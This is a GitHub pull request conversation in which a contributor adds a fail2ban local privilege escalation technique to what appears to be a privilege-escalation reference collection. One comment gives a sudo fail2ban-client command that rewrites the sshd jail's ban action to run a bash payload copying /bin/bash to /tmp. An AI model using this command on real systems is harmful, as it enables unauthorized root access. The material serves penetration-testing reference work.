Skip to content

Conversation

noraj
Copy link

@noraj noraj commented Apr 26, 2025

Ref. https://juggernaut-sec.com/fail2ban-lpe/#Putting_the_Pieces_Together_and_Getting_a_Root_Shell

PS: Maybe formatting could be improved, for example to add blank lines between cat blocks.

@noraj
Copy link
Author

noraj commented Apr 26, 2025

Other easier methods exists such as the following but depends on existing jails and actions (here sshd jail with action iptables-multiport).

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cp /bin/bash /tmp/ && chmod +x /tmp/bash'"

The configuration method in the PR is a bit easier, but is generic and does not depend on a specific jail or action.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant